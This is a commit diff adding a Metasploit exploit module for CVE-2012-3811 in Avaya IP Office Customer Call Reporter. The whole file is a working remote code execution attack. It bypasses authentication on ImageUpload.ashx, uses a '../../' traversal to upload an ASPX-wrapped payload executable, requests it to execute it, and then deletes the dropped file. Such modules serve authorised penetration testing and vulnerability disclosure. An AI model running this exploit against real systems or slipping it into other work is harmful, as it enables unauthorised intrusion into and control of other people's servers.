Added module for ZDI-12-106

Author: jvazquez-r7

modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb

@@ -0,0 +1,183 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'uri'
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::EXE
+
+	def initialize
+		super(
+			'Name'        => 'Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution',
+			'Description'    => %q{
+					This module exploits an authentication bypass vulnerability on Avaya IP Office
+				Customer Call Reporter, which allows a remote user to upload arbitrary files
+				through the ImageUpload.ashx component. It can be abused to upload and execute
+				arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP
+				Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.
+			},
+			'Author'      => [
+				'rgod <rgod[at]autistici.org>', # Vulnerability discovery
+				'juan vazquez' # Metasploit module
+			],
+			'Platform'    => 'win',
+			'References'  =>
+				[
+					[ 'CVE', '2012-3811' ],
+					[ 'OSVDB', '83399' ],
+					[ 'BID', '54225' ],
+					[ 'URL', 'https://downloads.avaya.com/css/P8/documents/100164021' ],
+					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-106/' ]
+				],
+			'Targets'     =>
+				[
+					[ 'Avaya IP Office Customer Call Reporter 7.0 and 8.0 / Microsoft Windows Server 2003 SP2', { } ],
+				],
+			'DefaultTarget'  => 0,
+			'Privileged'     => false,
+			'DisclosureDate' => 'Jun 28 2012'
+		)
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, 'The URI path of the Avaya CCR applications', '/'])
+			], self.class)
+	end
+
+	#
+	# Remove the .aspx if we get a meterpreter.
+	#
+	def on_new_session(cli)
+		if cli.type != 'meterpreter'
+			print_error("Meterpreter not used. Please manually remove #{@payload_path}")
+			return
+		end
+
+		cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
+
+		begin
+			cli.fs.file.rm(@payload_path)
+			print_good("#{@peer} - #{@payload_path} deleted")
+		rescue ::Exception => e
+			print_error("Unable to delete #{@payload_path}: #{e.message}")
+		end
+	end
+
+
+	def exploit
+
+		@peer = "#{rhost}:#{rport}"
+
+		# Generate the ASPX containing the EXE containing the payload
+		exe = generate_payload_exe
+		aspx = Msf::Util::EXE.to_exe_aspx(exe)
+		aspx_b64 = Rex::Text.encode_base64(aspx)
+
+		uri_path = target_uri.path
+		uri_path.path << "/" if uri_path[-1, 1] != "/"
+
+		boundary = "---------------------------#{rand_text_alpha(36)}"
+
+		my_data = "--#{boundary}\r\n"
+		my_data << "Content-Disposition: form-data; name=\"RadUAG_fileName\"\r\n"
+		my_data << "\r\n"
+		my_data << "#{rand_text_alpha(rand(5)+3)}.aspx\r\n"
+		my_data << "--#{boundary}\r\n"
+		my_data << "Content-Disposition: form-data; name=\"RadUAG_data\"\r\n"
+		my_data << "\r\n"
+		my_data << "#{aspx_b64}\r\n"
+		my_data << "--#{boundary}\r\n"
+		my_data << "Content-Disposition: form-data; name=\"RadUAG_targetFolder\"\r\n"
+		my_data << "\r\n"
+		my_data << "../../CCRWallboardMessageBroker/\r\n"
+		my_data << "--#{boundary}\r\n"
+		my_data << "Content-Disposition: form-data; name=\"RadUAG_position\"\r\n"
+		my_data << "\r\n"
+		my_data << "0\r\n"
+		my_data << "--#{boundary}\r\n"
+		my_data << "Content-Disposition: form-data; name=\"RadUAG_targetPhysicalFolder\"\r\n"
+		my_data << "\r\n"
+		my_data << "\r\n"
+		my_data << "--#{boundary}\r\n"
+		my_data << "Content-Disposition: form-data; name=\"RadUAG_overwriteExistingFiles\"\r\n"
+		my_data << "\r\n"
+		my_data << "True\r\n"
+		my_data << "--#{boundary}\r\n"
+		my_data << "Content-Disposition: form-data; name=\"RadUAG_finalFileRequest\"\r\n"
+		my_data << "\r\n"
+		my_data << "True\r\n"
+		my_data << "--#{boundary}\r\n"
+		my_data << "Content-Disposition: form-data; name=\"UploadImageType\"\r\n"
+		my_data << "\r\n"
+		my_data << "0\r\n"
+		my_data << "--#{boundary}\r\n"
+		my_data << "Content-Disposition: form-data; name=\"WallboardID\"\r\n"
+		my_data << "\r\n"
+		my_data << "0\r\n"
+		my_data << "--#{boundary}--\r\n"
+
+		#
+		# UPLOAD
+		#
+		attack_url = uri_path + "CCRWebClient/Wallboard/ImageUpload.ashx"
+		print_status("#{@peer} - Uploading #{aspx_b64.length} bytes through #{attack_url}...")
+
+		res = send_request_cgi({
+			'uri'          => attack_url,
+			'method'       => 'POST',
+			'ctype'  => "multipart/form-data; boundary=#{boundary}",
+			'data'         => my_data,
+		}, 20)
+
+		payload_url = ""
+		@payload_path = ""
+		if res and res.code == 200 and res.body =~ /"Key":"RadUAG_success","Value":true/
+			print_good("#{@peer} - Payload uploaded successfuly")
+		else
+			print_error("#{@peer} - Payload upload failed")
+			return
+		end
+
+		# Retrieve info about the uploaded payload
+
+		if res.body =~ /\{"Key":"RadUAG_filePath","Value":"(.*)"\},\{"Key":"RadUAG_associatedData/
+			@payload_path = $1
+			print_status("#{@peer} - Payload stored on #{@payload_path}")
+		else
+			print_error("#{@peer} - The payload file path couldn't be retrieved")
+		end
+
+		if res.body =~ /\[\{"Key":"UploadedImageURL","Value":"(.*)"\}\]/
+			payload_url = URI($1).path
+		else
+			print_error("#{@peer} - The payload URI couldn't be retrieved... Aborting!")
+			return
+		end
+
+
+		#
+		# EXECUTE
+		#
+		print_status("#{@peer} - Executing #{payload_url}...")
+
+		res = send_request_cgi({
+			'uri'          =>  payload_url,
+			'method'       => 'GET'
+		}, 20)
+
+		if (!res or res.code != 200)
+			print_error("#{@peer} - Execution failed on #{payload_url} [No Response]")
+			return
+		end
+
+	end
+
+end